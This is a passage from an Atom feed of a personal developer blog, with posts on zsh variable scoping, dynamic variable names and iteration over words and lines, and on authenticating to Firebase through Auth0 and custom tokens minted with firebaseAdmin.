&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; two&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; THREE&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;one&lt;/code&gt; is accessible in the whole &lt;code&gt;.zsh&lt;/code&gt; script, including inside of the
function, and even during your whole terminal session (you can &lt;code&gt;echo $one&lt;/code&gt;).
Other, non-zsh, scripts won&#39;t be able to read it though.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;two&lt;/code&gt; is accessible only in the body of the function, and is scoped there and
won&#39;t be accessible from outside. It&#39;s perfect for small variables you need to
simplify your code but don&#39;t need laying around.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;THREE&lt;/code&gt; is an environment variable, that can be used in the terminal
(&lt;code&gt;echo $THREE&lt;/code&gt;) as well as in any other script you&#39;re running from the terminal.
It&#39;s useful if you need to set some global flags or editing global settings
(like the &lt;code&gt;$PATH&lt;/code&gt; variable).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Dynamic variable names in zsh</title>
    <link href="https://blog.pixelastic.com/2023/01/02/dynamic-variable-names-in-zsh/"/>
    <updated>2023-01-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/02/dynamic-variable-names-in-zsh</id>
    <content type="html">&lt;p&gt;Imagine the following scenario:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;blog&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; www&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; meetups&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_blog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;146&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_www&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;75&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_meetups&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now you&#39;d like to iterate on all projects, and display their associated
color. You need dynamic variables, where part of the variable name is itself
coming from another variable.&lt;/p&gt;
&lt;p&gt;This will be achieved using two zsh modifiers: &lt;code&gt;${(P)}&lt;/code&gt; and &lt;code&gt;${:-}&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Building a variable name using dynamic variables&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;local name=${real_name:-Alice}&lt;/code&gt; means: set the &lt;code&gt;$name&lt;/code&gt; variable to the content
of the &lt;code&gt;$real_name&lt;/code&gt; variable. If &lt;code&gt;$real_name&lt;/code&gt; is empty, use &lt;code&gt;Alice&lt;/code&gt; as the
default value.&lt;/p&gt;
&lt;p&gt;Anything after the &lt;code&gt;:-&lt;/code&gt; is used as the default value, and it can even
interpolate variables. So if you also have &lt;code&gt;local default_name=&amp;quot;Alice&amp;quot;&lt;/code&gt;, then
you can have &lt;code&gt;local name=${real_name:-Default name set to $default_name}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That way, &lt;code&gt;$name&lt;/code&gt; is equal to &lt;code&gt;$real_name&lt;/code&gt;, unless &lt;code&gt;$real_name&lt;/code&gt; is empty, in
which case it&#39;s set to &lt;code&gt;Default name is Alice&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One can even remove the first variable to force zsh to use the default value. So
&lt;code&gt;local name=${:-Default name is $default_name}&lt;/code&gt; is valid syntax and will set
&lt;code&gt;$name&lt;/code&gt; to &lt;code&gt;Default name is Alice&lt;/code&gt;, allowing one to interpolate variable names
when setting variables.&lt;/p&gt;
&lt;h2&gt;Reading such a dynamic variable&lt;/h2&gt;
&lt;p&gt;We now have a fancy way of building a string with variable interpolation inside
a &lt;code&gt;${}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To read it, it&#39;s a bit more complex as we need to use this (already
barbaric-looking) syntax with another modifier.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;blog&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; www&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; meetups&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_blog&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;146&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_www&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;75&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; color_project_meetups&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;23&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; project_name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $projects&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; project_color&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;P&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;:-&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;color_project_${project_name}}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${project_name}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; color is &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${project_color}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Iterating on words and lines in zsh</title>
    <link href="https://blog.pixelastic.com/2023/01/01/iterating-on-words-and-lines-in-zsh/"/>
    <updated>2023-01-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/01/01/iterating-on-words-and-lines-in-zsh</id>
    <content type="html">&lt;p&gt;When writing zsh scripts, I often needs to iterate on elements, but depending on
how I create them, they can either be a core zsh array, a string of words, or
the output of a command, delimited by newlines.&lt;/p&gt;
&lt;h2&gt;Iterating on an array&lt;/h2&gt;
&lt;p&gt;Iterating on arrays in zsh has a pretty straightforward syntax:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;firost&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; aberlaas&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; golgoth&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; project&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $projects&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${project}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; is one of my projects&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Handling string of words&lt;/h2&gt;
&lt;p&gt;By default, zsh does not split a string in words like other shells (Bash) do, so
iterating on words requires the &lt;code&gt;${=}&lt;/code&gt; syntax.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;${=}&lt;/code&gt; notation triggers the Bash-compatible behavior by switching the
&lt;code&gt;SH_WORD_SPLIT&lt;/code&gt; zsh option for that variable.&lt;/p&gt;
&lt;h3&gt;Iterating on the words&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firost aberlaas golgoth&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; project&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;projects}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${project}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; is one of my projects&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Accessing one element specifically&lt;/h3&gt;
&lt;p&gt;Note that if I want to convert the string of words into an array, to
specifically access one of its elements, I need to wrap it in &lt;code&gt;()&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;firost aberlaas golgoth&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projectsArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;projects}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$projectsArray&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[2] is my second project&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A note on words&lt;/h3&gt;
&lt;p&gt;Note that zsh will split by words, meaning that multiple spaces will be removed:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;   firost        aberlaas            golgoth    &quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projectsArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;projects}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$projectsArray&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[2] is still my second project&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Iterating on lines in a string&lt;/h2&gt;
&lt;p&gt;New lines are considered words separators, so technically the &lt;code&gt;${=}&lt;/code&gt; could be
used to split a string by newlines. But this will &lt;em&gt;also&lt;/em&gt; split by spaces, so if
your lines contain spaces, you final array will not be what you expect.&lt;/p&gt;
&lt;p&gt;To split only by new lines and not by space, you need to use the &lt;code&gt;${(f)}&lt;/code&gt;
syntax. This proves useful when parsing long output from other commands&lt;/p&gt;
&lt;h3&gt;Iterating on the lines&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; project&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;projects}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${project}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; is a project file in my dir&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Accessing one line specifically&lt;/h3&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projects&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;ls&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; projectsArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;projects}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$projectsArray&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;[2] is my second project&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Firebase authentication with Auth0</title>
    <link href="https://blog.pixelastic.com/2017/11/01/firebase-authentication-with-auth0/"/>
    <updated>2017-11-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/11/01/firebase-authentication-with-auth0</id>
    <content type="html">&lt;p&gt;I use Auth0 on my current project to authenticate my users. It prompts my users
with a clear modal UI to ask them to authenticate using Google/GitHub/Other
third parties. It&#39;s an easy way to handle authentication from the front-end
without too much hassle.&lt;/p&gt;
&lt;p&gt;But my app also uses Firebase as its main database, and I&#39;m querying it from the
front-end. I&#39;ve set my Database rules to &lt;code&gt;auth != null&lt;/code&gt; meaning that only
authenticated users can read or write my data.&lt;/p&gt;
&lt;p&gt;The Firebase JavaScript SDK provides widgets to handle authentication with a GUI
directly with Firebase, but as I&#39;m already using Auth0 for the rest of the app,
I don&#39;t want to have to ask my users to authenticate twice.&lt;/p&gt;
&lt;p&gt;Auth0 also do not provide any integration with Firebase out of the box. It used
to provide one in the past, but it seems to have been deprecated. It means that
I have to build my own plumbing between Auth0 and Firebase.&lt;/p&gt;
&lt;p&gt;Because I already had to handle Firebase authentication in another part of the
app, I was already familiar with the fact that I needed a custom token. All I
needed to add was a way for me to request it from the front-end.&lt;/p&gt;
&lt;p&gt;What I did was create a Firebase function publicly available on a specific url
that will return a custom token. I will then query this url from my front-end to
get the token and then authenticate to Firebase using it.&lt;/p&gt;
&lt;p&gt;But such a naive implementation will expose my custom token through a public
endpoint that anyone could request. I had to secure it a bit more.&lt;/p&gt;
&lt;p&gt;What I did was to get the &lt;code&gt;access_token&lt;/code&gt; obtained from auth0 during
authentication and send it to my Firebase function in its payload.&lt;/p&gt;
&lt;p&gt;The Firebase function would then call auth0 with the &lt;code&gt;access_token&lt;/code&gt; to get
information about the user associated with this token. If it succeeded (and the
user email was matching the one initially sent), I could go forward and return
the newly mint token. This token will then be used by the front-end to
authenticate to Firebase.&lt;/p&gt;
&lt;p&gt;In the end, here is the overview of the complete token dance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authentication to Auth0, saving access_token locally&lt;/li&gt;
&lt;li&gt;Calling the Firebase function with this access_token
&lt;ul&gt;
&lt;li&gt;In turns calls Auth0 again with this access_token to valide it&lt;/li&gt;
&lt;li&gt;It matches, so it returns a Firebase access token&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Call Firebase to authenticate using the access token I got from the Firebase
function&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Authentication to Firebase Database from a Firebase Function</title>
    <link href="https://blog.pixelastic.com/2017/10/28/authenticating-to-firebase-from-a-server/"/>
    <updated>2017-10-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2017/10/28/authenticating-to-firebase-from-a-server</id>
    <content type="html">&lt;p&gt;On one of the projects I&#39;m working on, I&#39;m using both Firebase functions and
Firebase Database. I&#39;m calling functions in reaction to specific events, that
will save data in my Firebase Database.&lt;/p&gt;
&lt;p&gt;I managed to have something running in development in a week. As I was still
developing, I kept the default ACL to &lt;code&gt;read:true&lt;/code&gt; and &lt;code&gt;write:true&lt;/code&gt; on the
database, meaning that anyone could read and write my data.&lt;/p&gt;
&lt;p&gt;When time came to put to production, I followed the security best practices of
Firebase and set the rules to &lt;code&gt;auth != null&lt;/code&gt; meaning that only authenticated
users could read or write data. I thought that &amp;quot;authenticated users&amp;quot; would mean
anyone with the API key.&lt;/p&gt;
&lt;p&gt;Turns out it&#39;s not what it means. Identification (through an API key) and
Authentication (through a login/password) are two different things. And Firebase
is expecting me to authenticate before being able to access my data, even if I&#39;m
calling the db from a Firebase function.&lt;/p&gt;
&lt;p&gt;Most Firebase documentation will explain how to authenticate with a front-end
application. The SDKs even provides GUI elements to make the integration
smoother. It has widgets to incorporate authentication with third parties such
as Twitter, GitHub or Google.&lt;/p&gt;
&lt;h2&gt;Authentication using a custom token&lt;/h2&gt;
&lt;p&gt;That&#39;s useful; except when you&#39;re running your app from the backend and can&#39;t
use those GUI elements. To authenticate from the backend, I had to use another
method: authenticating through a custom token.&lt;/p&gt;
&lt;p&gt;Basically what it means is that I&#39;ll give to the Firebase authentication method
a token that could only have been crafted by someone with admin access. I needed
to create my own token to then use it to authenticate.&lt;/p&gt;
&lt;p&gt;What was a bit strange to grasp at first was that I needed to instanciate both a
&lt;code&gt;firebaseAdmin&lt;/code&gt; (to create the token) and a regular &lt;code&gt;firebase&lt;/code&gt; instance to
actually authenticate using this token.&lt;/p&gt;
&lt;h2&gt;Getting the custom token&lt;/h2&gt;
&lt;p&gt;The first step is to have an instance of &lt;code&gt;firebaseAdmin&lt;/code&gt; running. I found all
the information in the official
&lt;a href=&quot;https://firebase.google.com/docs/admin/setup&quot;&gt;Firebase documentation&lt;/a&gt;. It
needed to be initialized with the &lt;code&gt;credential&lt;/code&gt; option set the a valid
certificate generated from my &lt;code&gt;serviceAccountKey.json&lt;/code&gt; key. This part is crucial
as it will allow my &lt;code&gt;firebaseAdmin&lt;/code&gt; to mint (create) new tokens.&lt;/p&gt;
